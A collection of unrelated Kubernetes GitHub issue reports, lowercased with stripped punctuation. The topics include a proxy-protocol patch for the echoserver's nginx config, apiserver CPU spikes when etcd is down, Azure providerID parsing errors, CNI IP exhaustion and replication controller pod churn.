what would you like to be added  : enable nginx in  test/images/echoserver  to accept the proxy protocol.  it would also be helpful if some indicator on the echoserver output indicated what proxy values where given.\r \r   why is this needed  : some load balancers and tunneling applications use the proxy protocol to pass source information, when that information may otherwise be lost.  for example, the aws eks default load balancer  \ classic\   requires the proxy protocol to be enabled in order to receive the source ip address when acting as a tcp passthrough.\r \r since communication over standard http would still be valuable--say for health checks--listening to both proxy and non-proxy traffic at the same time is important.\r \r   suggested implementation  : since nginx cannot listen to proxy and normal traffic on the same port, one additional port for http and one for https is required.  in the example below, proxy http listens on 8081 and proxy https listens on 8444.  the diff:\r    \r     nginx.conf.new.orig\t2019-01-04 16:01:53.000000000 -0700\r --- nginx.conf.new.proxy\t2019-01-04 16:04:11.000000000 -0700\r                \r     42,47     \r --- 42,51 ----\r   \tserver_version=nginx: {{ngx.var.nginx_version}} - lua: {{ngx.config.ngx_lua_version}}\r   \r   request information:\r + {% if ngx.var.proxy_protocol_addr ~= \ \  then %}\r + \tproxy_client_address={{ngx.var.proxy_protocol_addr}}\r + \tproxy_client_port={{ngx.var.proxy_protocol_port}}\r + {% end %}\r   \tclient_address={{ngx.var.remote_addr}}\r   \tmethod={{ngx.req.get_method  }}\r   \treal path={{ngx.var.request_uri}}\r                \r     73,78     \r --- 77,84 ----\r   \t\t  socket option , allowing a kernel to distribute incoming connections between worker processes.\r   \t\tlisten 8080 default_server reuseport;\r   \t\tlisten 8443 default_server ssl http2 reuseport;\r + \t\tlisten 8081 proxy_protocol reuseport;\r + \t\tlisten 8444 proxy_protocol ssl http2 reuseport;\r   \r   \t\tssl_certificate /certs/certificate.crt;\r   \t\tssl_certificate_key /certs/privatekey.key;\r    \r \r <!-- do not edit below this line -->\r 

hi,     here  https://groups.google.com/forum/ !msg/google-containers/xbxug7cejwy/7srdotsnyagj    we were talking about the possibility of having a way to   mount gce disks paths, being files or directories, to internal containers paths.    for containers living in the same or other cluster and the same or other pod: - mount gcedisk1/gcepath  1  / to container  a   internal path - mount gcedisk1/gcepath  2  / to container  b   internal path     some use examples of this approach could be: - in case of using the  nginx  https://registry.hub.docker.com/_/nginx/  image, mounting a different   file   for image path   /etc/nginx/nginx.conf  , altering its configuration without having to create a dockerfile - in case of using  mysql  https://registry.hub.docker.com/_/mysql/  image,  mounting a different   directory   for image path   /etc/mysql/conf.d  , altering its configuration without having to create a dockerfile  in my opinion it's a great advantage to change default images behaviors altering its paths by kubernetes spec files instead of having to rebuild the image by dockerfile, tagging and publishing..  hernan

some google cloud project ids are prefixed with domain name such as \ example.com:my-project\   see https://cloud.google.com/compute/docs/projects .  my project id is also domain name prefixed. when i tried to start a kubemark cluster following  the guide  https://github.com/kubernetes/kubernetes/blob/master/docs/devel/kubemark-guide.md , i found that kubemark can't work with such project ids.  in https://github.com/kubernetes/kubernetes/blob/master/cluster/images/kubemark/makefile, it uses project id to generate the image tag. however, docker doesn't support image tag containing colon   :   .  in https://cloud.google.com/container-registry/docs/, it says that colon in project id like \ example.com:my-project\  should be replaced with slash to \ example.com/my-project\ .

i don't think that  kubectl get -o yaml  should filter pods.  i could maybe be convinced, but as a user it doesn't seem to help me when i'm dealing with output.  certainly printing the message seems wrong.\r \r    \r $ kubectl get -o yaml\r ...\r kind: list\r metadata: {}\r   info: 1 completed object s  was were  not shown in pods list. pass --show-all to see all objects.\r    \r \r it seems unlikely to me that users want to see the info: message when they run  -o yaml  on get.  the output must be on stderr  so it doesn't break piping  which i did not check but we should verify.\r \r it's worth considering the  --show-all  filter we have to default to \ off\  when a user provides \ -o yaml\ .

cc @kubernetes/sig-node-feature-requests \r \r structs are great to pass around when they are immutable, or remain constant.  however, if they dont remain constant, passing around structs can lead to a few problems:\r - if copies of the struct are made, then these copies may become inconsistent.  it becomes difficult, if not impossible to reason about these various copies, and requires extensive knowledge of the system and each thread that uses a component.  this can lead to bugs where components with different copies of the struct act on outdated information, which can cause benign performance problems in the best case, and can cause safety bugs in the worst case.\r - if no copies of the struct are made, but the object is shared by many threads, then you have classic concurrency problems.\r \r there are a few different components in the kubelet that keep their own copy of pods:\r -  pod manager  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/pod/pod_manager.go \r -  status manager  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/status/status_manager.go \r -  volume manager  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/volumemanager/cache/desired_state_of_world.go \r -  runtime cache  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/container/cache.go \r \r there are many examples where we pass around v1.pod objects between threads.  the best example may be that  pod workers asynchronously perform updates on v1.pod objects passed to them  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/pod_workers.go l212 .\r \r it is important to note that what we currently have works.  however, it means that in order to make any changes to the kubelet, the author needs to be aware of all the complexities of all components that manage pod objects.  for example, if we want to check to see if a  v1.pod is terminated, we need to first get it status from the status manager, rather than simply use pod.status.  only then can we correctly check to see if the pod is terminated.\r \r i propose that we replace the use of  v1.pod structs in the kubelet with an internal object.  ideally, instead of exposing fields, like pod.status, it will expose methods like pod.getstatus  , and pod.setstatus  .  instead of exposing pod.uid  and making consumers convert between static and mirror pods , expose pod.getinternaluid   and pod.getexternaluid  .  this object should be thread safe, so that we can pass it around without fear of concurrency issues.\r \r i also propose that we unify the various caches of pods that we keep in different components.  ideally, we should have a single representation of each pod that can be viewed and modified concurrently by various internal components.\r \r initially, this could simply take the form of a unified api over the existing managers and caches, but it could ideally be refactored to eliminate the need to manage multiple copies of a pod.

is this a bug report or feature request?  :\r  \r   what happened  :\r \r currently  as mentioned in https://github.com/kubernetes/community/blob/master/contributors/design-proposals/apps/daemon.md  when deleting a daemonset sets the nodeselector to a uuid pair that is unlikely to be set on any node.\r \r i started the deletion and aborted it  thinking nothing happened . a week later i was wondering what did this strange node selector  df98126b-df31-11e7-9c8e-42010a8e0002=df9812e4-df31-11e7-9c8e-42010a8e0002  come from.\r \r   what you expected to happen  :\r \r the name or value of this special node selector should make it clear that this is a result of an incomplete delete operation. perhaps just make the value \ pending deletion started at yyyy-mm-dd hh:mm:ss\  instead of or in addition to the current random one.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a daemonset on large cluster.\r start  kubectl delete  on it and abort it with ctrl+c.

is this a bug report or feature request?  :\r  \r   what happened  :\r i have a cluster  1 master, 3 node , and runs only 1 deployment, everything goes well. kube-apiserver's cpu usage is about 3~5%. but after i turning down etcd server, kube-apiserver's cpu usage increases up to 300% very fast , and only when etcd server is back again kube-apiserver's cpu usage's becomes normal.\r   what you expected to happen  :\r kube-apiserver's cpu usage stay normal even if etcd server is down.\r   how to reproduce it  as minimally and precisely as possible   :\r 1. boot a cluster with 1 master and 3 node.\r 2. run  top  to check kube-apiserver's cpu usage after kube-apiserver started.\r 3. run  systemctl stop etcd  to turn down etcd server\r 4. run  top  to check kube-apiserver's cpu usage again.\r 5. run  systemctl start etcd  to turn up etcd server\r 6. run  top  to check kube-apiserver's cpu usage again.\r \r   anything else we need to know?  :\r my understanding: in  vendor/github.com/coreos/etcd/clientv3/watch.go  https://github.com/kubernetes/kubernetes/blob/e41d9f15530d5c5bd116c90a988c8245f0be7974/vendor/github.com/coreos/etcd/clientv3/watch.go l775:27 , watchgrpcstream openwatchclient   method use a infinite loop without time.sleep to open watch client, if etcd server returns unavailable code, this loop iterate very fast over and over again and never break, i tried to  time.sleep 3 time.second   when  etcd server returns unavailable code and the problem is gone.\r \r already fixed in  etcd master branch  https://github.com/etcd-io/etcd/blob/34fcabab55585b39835820278da4de65b3463358/clientv3/watch.go l921 , should we bump etcd version  or just back port this fix ?\r \r my profiling:\r ! profile001  https://user-images.githubusercontent.com/1210201/44827070-049dbc80-ac44-11e8-8cd5-08995f321e1c.png \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.6, but this bug exists in master branch\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :centos 7\r - kernel  e.g.  uname -a  :4.4.0-116-generic\r - install tools:custom tool\r - others:\r \r 

>  \r \r \r   what happened  :\r many pods always face high cpu usage all the time and reach 100% cpu usage. however, ram usage is less than 10% all the time  i have 30gb ram per each node . as a result, cpu usage of nodes is always 100%.  i am using amazon instances as nodes and already upgraded the instance type from c4.xlarge to r4.xlarge with more ram and 4 cores cpu for each node. but cpu usage remains high. i don't know the reason. but this behaviour is very strange. \r \r \r   what you expected to happen  :\r cpu usage is less than 50% for each node.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r  kubectl top nodes \r name                                                cpu cores    cpu%      memory bytes    memory%   \r ip-172-20-115-104.ap-southeast-1.compute.internal   3999m        99%       3574mi          11%       \r ip-172-20-48-22.ap-southeast-1.compute.internal     3999m        99%       1188mi          3%        \r ip-172-20-48-235.ap-southeast-1.compute.internal    91m          4%        2511mi          68%       \r ip-172-20-68-147.ap-southeast-1.compute.internal    3999m        99%       7723mi          25%       \r ip-172-20-72-141.ap-southeast-1.compute.internal    129m         6%        2436mi          66% \r \r \r  kubectl top pods --all-namespaces \r prod          php-8669c6566-2r46z                                                         1795m        331mi           \r prod          php-8669c6566-t496l                                                         1975m        332mi \r ......\r logging       elasticsearch-79d98fc78f-n8fth                                              1661m        2063mi          \r logging       fluentd-68x4p                                                               8m           119mi           \r logging       fluentd-h428h                                                               33m          125mi           \r logging       fluentd-js9bm                                                               13m          125mi           \r logging       fluentd-kk5fg                                                               903m         166mi           \r logging       fluentd-kr9sk                                                               2017m        113mi  \r metrics       prometheus-576b588cf4-hm4r8                                                 2003m        127mi  \r  \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-05-18t09:44:48z\ , goversion:\ go1.9.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:05:37z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r amazon\r \r - os  e.g. from /etc/os-release :\r pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r \r - kernel  e.g.  uname -a  :\r 4.4.121-k8s  1 smp sun mar 11 19:39:47 utc 2018 x86_64 gnu/linux\r \r - install tools:\r prometheus/grafana\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r when creating a kubernetes 1.12.1 cluster in azure with availability set backed masters and vmss backed agents, the cloud-controller-manager is unable to parse the providerid returned by the azure sdk.\r \r    sh\r   this line should have a  azure://  in front of it based on the provideridre for 1.12.1\r i1023 11:45:27.073599       1 azure_vmss.go:196  can not extract scale set name from providerid  /subscriptions/   /resourcegroups/   /providers/microsoft.compute/virtualmachines/master-0 , assuming it is mananaged by availability set: not a vmss instance\r e1023 11:45:27.073624       1 node_controller.go:276  error checking if node master-0 exists: error splitting providerid\r i1023 11:45:27.073683       1 azure_instances.go:122  nodeaddressesbyproviderid: omitting unmanaged node \ azure:///subscriptions/   /resourcegroups/   /providers/microsoft.compute/virtualmachines/master-0\ \r e1023 11:45:27.073707       1 node_controller.go:419  failed to find kubelet node ip from cloud provider\r \r    \r \r   what you expected to happen  :\r \r the providerid should be split and the cloud-controller-manager should be able to find a kubelet node ip from the cloud provider\r \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r - stand up a master node in azure within an availability set with the kubelet configured with  --cloud-provider=external  \r - run the  cloud-controller-manager  configured for azure\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.1\ , gitcommit:\ 4ed3216f3ec431b140b1d899130a69fc671678f4\ , gittreestate:\ clean\ , builddate:\ 2018-10-05t16:46:06z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.1\ , gitcommit:\ 4ed3216f3ec431b140b1d899130a69fc671678f4\ , gittreestate:\ clean\ , builddate:\ 2018-10-05t16:36:14z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :  4.15.0-1023-azure  24~16.04.1-ubuntu smp wed aug 29 12:54:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r - others:\r

cassandra example requires a service account with permissions to read the namespaces endpoints via kubernetes api. these seem not to be given to the default service account by default. thus, further action is required from the user  creating and specifying a different service account or giving permissions to default ones .  however, neither the need of doing this nor the steps required to do it seem to be mentioned in the example readme and they should. else, a novice may find an example that just does not work without any guidance about why.  to be clear: i have no problem workarounding this. what i am suggesting is just to fix the documentation in order to help other people.  i have tested this on openshift 3. i am not sure whether this would make a big difference with a vanilla kubernetes cluster, but at least a \ warning\  or a \ troubleshooting\  section talking about this might be a good idea anyway.

kubernetes version    use  kubectl version  : v1.3.5    use cases   as an operator, in order to filter metrics by node status and scheduling status, i need metrics exporting the state of these attributes.  as an operator, in order to write scripts depending on the state of ready and scheduling, i need a way to query these information from the same host  ideally without going to the api server first .    proposal   export two new gauges from the kubelet: 1.  kubelet_node_status_ready  with possible values 1 or 0 2.  kubelet_node_status_schedulable  with possible values 1 or 0  alternatively a single metric  kubelet_node_status  could be exported with labels for each possible status.  @kubernetes/sig-instrumentation @fabxc

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : yes    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :s390x  ---    is this a bug report or feature request?    choose one : feature request    i am working on kubernetes for s390x architecture to enable docker images for s390x should be pushed to gcr.io repository. for this 1. i was trying to build the master branch but it failed for s390x due to there was an issue in the file \ server_statvfs_linux.go\ . the thing is this issue is resolved in the sftp package but the package is not updated in the kubernetes repository.  can you give me an idea when this package will be updated in the kubernetes code vendor/github.com/pkg/sftp  ? 2. also for the same task when i ran build/release.sh command, i came across docker image gcr.io/google_containers/kube-cross which is using golang:1.6.3 https://github.com/kubernetes/kubernetes/blob/master/build/build-image/cross/dockerfile  as base image and it does not support     s390x architecture. go 1.7.1 is released and it has support for s390x architecture. is there any plan to update the mentioned docker file for golang 1.7.1 so it will support multiple architectures supported by go?? and if there is no plan can i add my docker file specific to s390x so that gcr.io/google_containers/kube-cross docker image will have support for s390x.  @cwsolee  @aborkar-ibm

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-slow-release-1.5/500/  multiple broken tests:  failed:  k8s.io  pods should cap back-off at maxcontainerbackoff  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 dec  3 15:18:37.724: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc420b004f0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  27703  32981  35286   failed:  k8s.io  pod disks should schedule a pod w/two rw pds both mounted to one container, write to pd, verify contents, delete pod, recreate pod, verify contents, and repeat in rapid succession  slow  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 dec  3 15:23:32.478: all nodes should be ready after test, not ready nodes:    api.node{  api.node  0xc420ff8ef0 } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:438     issues about this test specifically:  26127  28081   failed:  k8s.io  networking  k8s.io  granular checks: services  slow  should function for node-service: http {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:114 expected error:     < errors.errorstring | 0xc4203c76f0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:520     issues about this test specifically:  32684  36278  37948   failed:  k8s.io  networking  k8s.io  granular checks: services  slow  should function for pod-service: udp {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:105 expected error:     < errors.errorstring | 0xc4203c76f0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:520     issues about this test specifically:  34317  previous issues for this suite:  37821

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r i tried requesting for help on slack and so. no results. \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r here is the issue that i think resembles mine the most, but it has a different version on kubernetes: \r https://github.com/kubernetes/kubernetes/issues/25281\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.3\ , gitcommit:\ 4957b090e9a4f6a68b4a40375408fdc74a212260\ , gittreestate:\ clean\ , builddate:\ 2016-10-16t06:36:33z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.7+coreos.0\ , gitcommit:\ 0581d1a5c618b404bd4766544bec479aedef763e\ , gittreestate:\ clean\ , builddate:\ 2016-12-12t19:04:11z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws , m4.large instance\r -   os    e.g. from /etc/os-release :\r    \r name=coreos\r id=coreos\r version=1185.5.0\r version_id=1185.5.0\r build_id=2016-12-07-0937\r pretty_name=\ coreos 1185.5.0  moreos \ \r ansi_color=\ 1;32\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://github.com/coreos/bugs/issues\ \r    \r -   kernel    e.g.  uname -a  :\r    linux ip-10-254-195-139.us-west-1.aws.wflops.net 4.7.3-coreos-r3  1 smp wed dec 7 09:29:55 utc 2016 x86_64 intel r  xeon r  cpu e5-2686 v4 @ 2.30ghz genuineintel gnu/linux   \r -   install tools  :\r kubelet\r -   others  :\r \r \r   what happened  :\r i have a jenkins plugin set up which schedules containers on the master node just fine, but when it comes to minions there is a problem. my setup follows standard coreos guide: \r https://coreos.com/kubernetes/docs/latest/getting-started.html\r    \r kubectl describe pod jenkinsminions-162720e18dbccc\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t--------\t------\t\t-------\r   1m\t\t1m\t\t1\t{default-scheduler }\t\t\t\tnormal\t\tscheduled\tsuccessfully assigned jenkinsminions-162720e18dbccc to 10.254.194.102\r   1m\t\t1s\t\t43\t{kubelet 10.254.194.102}\t\t\twarning\t\tfailedsync\terror syncing pod, skipping: failed to \ setupnetwork\  for \ jenkinsminions-162720e18dbccc_default\  with setupnetworkerror: \ failed to setup network for pod \\\ jenkinsminions-162720e18dbccc_default 09ae5aea-d46a-11e6-ac8a-026030ef5380 \\\  using network plugins \\\ cni\\\ : no ip addresses available in network: podnet; skipping pod\ \r    \r \r \r   what you expected to happen  :\r expect the pod to schedule normally without an error.\r \r   how to reproduce it    as minimally and precisely as possible :\r follow the standard coreos guide, set up just two nodes, with coreos version 1.4.7. setup jenkins with kubernetes plugin and try to schedule a container not on k8s master . \r \r   anything else do we need to know  :\r logs on the kubelet slave server also show the interface error consistently: \r    \r jan 06 23:23:28 ip-10-254-194-102.us-west-1.aws.wflops.net kubelet-wrapper 25651 : e0106 23:23:28.272729   25651 nestedpendingoperations.go:253  operation for \ \\\ kubernetes.io/secret/ca7fc3a9-d209-11e6-82eb-026030ef5380-default-token-x2819\\\   \\\ ca7fc3a9-d209-11e6-82eb-026030ef5380\\\  \  failed. no retries permitted until 2017-01-06 23:25:28.272709989 +0000 utc  durationbeforeretry 2m0s . error: unmountvolume.teardown failed for volume \ kubernetes.io/secret/ca7fc3a9-d209-11e6-82eb-026030ef5380-default-token-x2819\   volume.spec.name: \ default-token-x2819\   pod \ ca7fc3a9-d209-11e6-82eb-026030ef5380\   uid: \ ca7fc3a9-d209-11e6-82eb-026030ef5380\   with: rename /var/lib/kubelet/pods/ca7fc3a9-d209-11e6-82eb-026030ef5380/volumes/kubernetes.io~secret/default-token-x2819 /var/lib/kubelet/pods/ca7fc3a9-d209-11e6-82eb-026030ef5380/volumes/kubernetes.io~secret/wrapped_default-token-x2819.deleting~019409588: device or resource busy\r jan 06 23:23:28 ip-10-254-194-102.us-west-1.aws.wflops.net kubelet-wrapper 25651 : e0106 23:23:28.920477   25651 docker_manager.go:746  logging security options: {key:seccomp value:unconfined msg:}\r jan 06 23:23:30 ip-10-254-194-102.us-west-1.aws.wflops.net kubelet-wrapper 25651 : e0106 23:23:30.190398   25651 docker_manager.go:357  networkplugin cni failed on the status hook for pod 'jenkinsminions-1625fdd8c07460' - unexpected command output device \ eth0\  does not exist.\r jan 06 23:23:30 ip-10-254-194-102.us-west-1.aws.wflops.net kubelet-wrapper 25651 :  with error: exit status 1\r jan 06 23:23:30 ip-10-254-194-102.us-west-1.aws.wflops.net kubelet-wrapper 25651 : i0106 23:23:30.338410   25651 reconciler.go:299  mountvolume operation started for volume \ kubernetes.io/secret/5d3004b4-d224-11e6-b91e-026030ef5380-default-token-csbm2\   spec.name: \ default-token-csbm2\   to pod \ 5d3004b4-d224-11e6-b91e-026030ef5380\   uid: \ 5d3004b4-d224-11e6-b91e-026030ef5380\  . volume is already mounted to pod, but remount was requested.\r jan 06 23:23:30 ip-10-254-194-102.us-west-1.aws.wflops.net kubelet-wrapper 25651 : i0106 23:23:30.365306   25651 operation_executor.go:802  mountvolume.setup succeeded for volume \ kubernetes.io/secret/5d3004b4-d224-11e6-b91e-026030ef5380-default-token-csbm2\   spec.name: \ default-token-csbm2\   pod \ 5d3004b4-d224-11e6-b91e-026030ef5380\   uid: \ 5d3004b4-d224-11e6-b91e-026030ef5380\  .\r jan 06 23:23:30 ip-10-254-194-102.us-west-1.aws.wflops.net kubelet-wrapper 25651 : e0106 23:23:30.539405   25651 cni.go:255  error adding network: \ cni0\  already has an ip address different from 10.2.44.1/24\r    \r \r

kubernetes version:  \r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r   environment  :\r -   cloud provider or hardware configuration  : bare metal\r -   os    e.g. from /etc/os-release : ubuntu precise  12.04.4 lts \r -   kernel    e.g.  uname -a  : linux tuk6r1kmaster1 3.13.0-55-generic  92~precise1-ubuntu smp sun jun 14 18:32:23 utc 2015 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : n/a\r -   others  : n/a\r \r \r   what happened  :\r \r we saw a churn issue with pods. when draining one node for maintenance, the drain worked fine, one pod for a given service was removed -- but the scheduler then added  two  pods for the service at the same time, immediately turning around and killing one of them.\r \r this seems like rough behavior.\r \r cleaned logs:\r    \r 0217 21:11:38.849160       1 replication_controller.go:653  waiting for pods controller to sync, requeuing rc foo/foo-20170214-002922\r 0217 21:11:40.790263       1 trace.go:61  trace \ syncreplicationcontroller: foo/foo-20170214-002922\   started 2017-02-17 21:11:40.095428337 +0000 utc :\r 0217 21:11:40.797425       1 replication_controller.go:322  observed updated replication controller foo-20170214-002922. desired pod count change: 2->2\r 0217 21:16:42.622757    2860 kubelet.go:2395  syncloop  update, \ api\  : \ foo-20170214-002922-b86zw_foo aeaadce8-f24c-11e6-8416-00505693c43f \ \r 0217 21:16:42.622842       1 replication_controller.go:541  too few \ foo\ /\ foo-20170214-002922\  replicas, need 2, creating 1\r 0217 21:16:42.623091    2860 manager.go:1368  killing container \ a2fd7e3437389361c03f02dc48070479a521e86f166eb023798bb900bafc2265 foo foo/foo-20170214-002922-b86zw\  with 31536000 second grace period\r 0217 21:16:42.668510       1 panics.go:76  delete /api/v1/namespaces/foo/pods/foo-20170214-002922-b86zw:  174.013542ms  200   kubectl/v1.2.2  linux/amd64  kubernetes/528f879  10.68.0.171:47407 \r 0217 21:16:42.670565       1 replication_controller.go:541  too few \ foo\ /\ foo-20170214-002922\  replicas, need 2, creating 1\r 0217 21:16:42.778184       1 event.go:217  event api.objectreference{kind:\ replicationcontroller\ , namespace:\ foo\ , name:\ foo-20170214-002922\ , uid:\ aca56c0a-f24c-11e6-9014-00505693acba\ , apiversion:\ v1\ , resourceversion:\ 35700497\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: foo-20170214-002922-qzw8c\r 0217 21:16:42.832775       1 event.go:217  event api.objectreference{kind:\ replicationcontroller\ , namespace:\ foo\ , name:\ foo-20170214-002922\ , uid:\ aca56c0a-f24c-11e6-9014-00505693acba\ , apiversion:\ v1\ , resourceversion:\ 35700497\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: foo-20170214-002922-q0nbh\r 0217 21:16:42.840356       1 replication_controller.go:585  too many \ foo\ /\ foo-20170214-002922\  replicas, need 2, deleting 1\r 0217 21:16:42.840459       1 controller_utils.go:523  controller foo-20170214-002922 deleting pod foo/foo-20170214-002922-qzw8c\r 0217 21:16:42.842470       1 event.go:217  event api.objectreference{kind:\ pod\ , namespace:\ foo\ , name:\ foo-20170214-002922-qzw8c\ , uid:\ 612469a7-f556-11e6-99f7-00505693acba\ , apiversion:\ v1\ , resourceversion:\ 35701144\ , fieldpath:\ \ } : type: 'normal' reason: 'scheduled' successfully assigned foo-20170214-002922-qzw8c to tuk6r1knode2\r 0217 21:16:42.846601       1 replication_controller.go:322  observed updated replication controller foo-20170214-002922. desired pod count change: 2->2\r 0217 21:16:42.851843    2877 kubelet.go:2388  syncloop  add, \ api\  : \ foo-20170214-002922-qzw8c_foo 612469a7-f556-11e6-99f7-00505693acba \ \r 0217 21:16:42.865512       1 event.go:217  event api.objectreference{kind:\ pod\ , namespace:\ foo\ , name:\ foo-20170214-002922-q0nbh\ , uid:\ 611fc5c3-f556-11e6-ab14-00505693c43f\ , apiversion:\ v1\ , resourceversion:\ 35701146\ , fieldpath:\ \ } : type: 'normal' reason: 'scheduled' successfully assigned foo-20170214-002922-q0nbh to tuk6r1knode2\r 0217 21:16:42.869310       1 replication_controller.go:322  observed updated replication controller foo-20170214-002922. desired pod count change: 2->2\r 0217 21:16:42.874527    2877 kubelet.go:2388  syncloop  add, \ api\  : \ foo-20170214-002922-q0nbh_foo 611fc5c3-f556-11e6-ab14-00505693c43f \ \r 0217 21:16:42.882084    2877 manager.go:1688  need to restart pod infra container for \ foo-20170214-002922-qzw8c_foo 612469a7-f556-11e6-99f7-00505693acba \  because it is not found\r 0217 21:16:42.901917       1 panics.go:76  delete /api/v1/namespaces/foo/pods/foo-20170214-002922-qzw8c:  53.897631ms  200   hyperkube/v1.5.2  linux/amd64  kubernetes/08e0995/replication-controller  127.0.0.1:56067 \r 0217 21:16:42.904202       1 event.go:217  event api.objectreference{kind:\ replicationcontroller\ , namespace:\ foo\ , name:\ foo-20170214-002922\ , uid:\ aca56c0a-f24c-11e6-9014-00505693acba\ , apiversion:\ v1\ , resourceversion:\ 35700497\ , fieldpath:\ \ } : type: 'normal' reason: 'successfuldelete' deleted pod: foo-20170214-002922-qzw8c\r    \r \r \r   what you expected to happen  :\r \r i'd expect the scheduler to only create one new pod, rather that double-tapping \ too few replicas, need 2, creating 1\ .\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r n/a\r \r   anything else we need to know  :\r \r note: this service is still deployed via replication controller, it has not yet been converted to use a deployment.

